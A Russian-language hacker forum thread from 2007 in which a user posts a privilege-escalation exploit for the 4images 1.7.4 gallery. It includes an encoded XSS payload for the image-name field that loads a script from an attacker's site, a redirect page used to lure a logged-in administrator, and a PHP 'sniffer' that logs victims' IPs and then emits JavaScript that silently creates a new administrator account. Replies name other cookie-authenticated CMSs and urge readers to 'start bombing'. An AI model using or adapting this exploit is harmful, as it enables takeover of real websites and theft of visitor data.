PDA

Просмотр полной версии : Повышение привелегий с помощью Xss


SQLHACK
24.06.2007, 17:14
Подготовка.
Заливаем в галерею картинку.
в поле Image Name: вставляем "><IMG SRC="javascript:document.write(String.fromCharCode(60,1 15,99,114,105,112,116,32,115,114,99,61,34,104,116, 116,112,58,47,47,108,111,99,97,108,104,111,115,116 ,47,49,46,106,115,34,62,60,47,115,99,114,105,112,1 16,62));">.

1. Вариант
Админу кидаем ссылку на http://virussite.com/

1. Залогиненый админ заходит на http://virussite.com/
2. Получает от сервера ответ типа
<html>
<body>
<script>location.replace("http://vulnsite.com/4images/search.php?search_new_images=1"></script>)
</script>
</body>
</html>

3. Его переадресует на страницу последних залитых картинок, а там наша XSS.

2.Вариант :)
Админ сам тыкает на надпись New Images.

4. Там подгружается скрипт http://oursite.com/xss.js (реально это сниффер на php который на выходе генерит JS код), который посылает запрос к админке.

код php скрипта, его называем xss.js

ЭТО РЕАЛЬНО РАБОТАЮЩИЙ ПРИМЕР ДЛЯ 4Images 1.7.4(вероятно и версии ниже)


<?php
$date=date("[d/m/Y|H:i]");
$ip=getenv("Remote_addr");
$real_ip=getenv("HTTP_X_FORWARDED_FOR");
$x_refefer=getenv("HTTP_REFERER");
$x_agent=getenv("HTTP_USER_AGENT");
$x_args=implode($argv," ");

$fp=fopen("log.txt","a");
fputs($fp,"Date:*".$date."*\t"."IP:*".$ip."*\t"."REAL IP:*".$real_ip."*\t"."REFERER:*".$x_refefer."*\t"."Agent:*".$x_agent."*\t"."ARGS:*".$x_args."*\n");
fclose($fp);

echo "
var request = false;
try
{
request = new XMLHttpRequest();
}
catch (trymicrosoft)
{
try
{
request = new ActiveXObject(\"Msxml2.XMLHTTP\");
}
catch (othermicrosoft)
{

request = new ActiveXObject(\"Microsoft.XMLHTTP\");

}
}

function SendRequest() {

var url = \"/4images/admin/users.php\";
request.open(\"POST\", url, true);
request.onreadystatechange = updatePage;


var bound_x = \"-----------------------------20959323230465\\nContent-Disposition: form-data; name=\\\"\";

var post = bound_x + \"action\" + \"\\\"\\n\\n\" + \"saveusers\\n\";
post += bound_x + \"num\" + \"\\\"\\n\\n\" + \"1\\n\";
post += bound_x + \"user_level_1\" + \"\\\"\\n\\n\" + \"9\\n\";
post += bound_x + \"user_name_1\" + \"\\\"\\n\\n\" + \"username\\n\";
post += bound_x + \"user_email_1\" + \"\\\"\\n\\n\" + \"email@email.ru\\n\";
post += bound_x + \"user_password_1\" + \"\\\"\\n\\n\" + \"password\\n\";
post += bound_x + \"user_homepage_1\" + \"\\\"\\n\\n\" + \"\\n\";
post += bound_x + \"user_icq_1\" + \"\\\"\\n\\n\" + \"\\n\";
post += bound_x + \"user_showemail_1\" + \"\\\"\\n\\n\" + \"0\\n\";
post += bound_x + \"user_allowemails_1\" + \"\\\"\\n\\n\" + \"0\\n\";
post += bound_x + \"user_invisible_1\" + \"\\\"\\n\\n\" + \"0\\n\";
post += bound_x + \"num_newusers\" + \"\\\"\\n\\n\" + \"1\\n\";
post += bound_x;

request.setRequestHeader(\"Cookie\", document.cookie);
request.setRequestHeader(\"Content-Type\", \"multipart/form-data; boundary=---------------------------20959323230465\");
request.setRequestHeader(\"Content-Length\", post.length);
request.send(post);
}

function updatePage()
{
if (request.readyState == 4)
{
if(request.status == 200)
{
// А вот сюда можно впендюрить удаление нашей картики, и обновление станицы ещё раз.
}
}
}

SendRequest();
";

?>


,и там же бросаем .htaccess c содержимым

AddType application/x-httpd-php .js

5. Запрос создаёт юзера с админскими правами. Соответственно в отчётах сниффера мы видим то что мы поимели админские права.

P.S.Сообственно код сыроват, надо поправить , но у меня не особо хватает вермени, ну хоть 1 кто нить помогите, пож-та.

P.S.S.Если это будет интересно, давайте искать XSS, и писать скрипты повышения привелегий, под разные системы.

P.S.S.S.Когда инфы наберём побольше , можно сотворить генератор js файла, чтоб автоматизировать процесс.

_Great_
24.06.2007, 17:48
найди сначала админку, где для входа достаточно кукисов.
в большинстве форумов/цмс нужен пасс для авторизации в админке

SQLHACK
24.06.2007, 19:46
нашел уже 2.
4images
Datalife Engine 6.0

да их жопой хоть жуй.

nc.STRIEM
24.06.2007, 21:22
в Coppermine Photo Gallery тож по кукисам, даже помниться сплоент писал, использующий XSS

SQLHACK
24.06.2007, 23:01
завтра будет 1 скрипт под 4images

_Great_
24.06.2007, 23:07
Если у нас есть Xss, а на вход в админку нужны только куки, почему бы просто не взять админские куки на пользование и все? Зачем выставлять левому пользователю админские права (что, несомненно, палевно)

SQLHACK
24.06.2007, 23:25
ну как тебе сказать когда в системе >100 юзеров, то не такое и палево, зато с сессией не надо заморачиваться

SQLHACK
30.06.2007, 13:08
Найдена XSS в 4images. Статья обновлена. Читаем. Начинаем бомбить :).

bul.666
17.07.2007, 00:19
Эх...
"Хакеры" все еще здесь... =/
Вам не надоело дрочить Xss?
Полный хелп по КСС еще не делали?
Таких "статей" можно нахреначить до куевой кучи и все чмем то схожы...! Если неправ можете бить сильно...

SQLHACK
28.07.2007, 21:23
не бить надо за такие посты, а просто пиздетЬ.
Реализация атак через ксс имеет много вариантов. Так что не хрен тут постить хреновину, нельзя на 2 недели уехать начинается.
И вообще , тут представлена не просто очередная статья на тему, а вариант использования и работающий сплоит под последнюю версию, так что баста!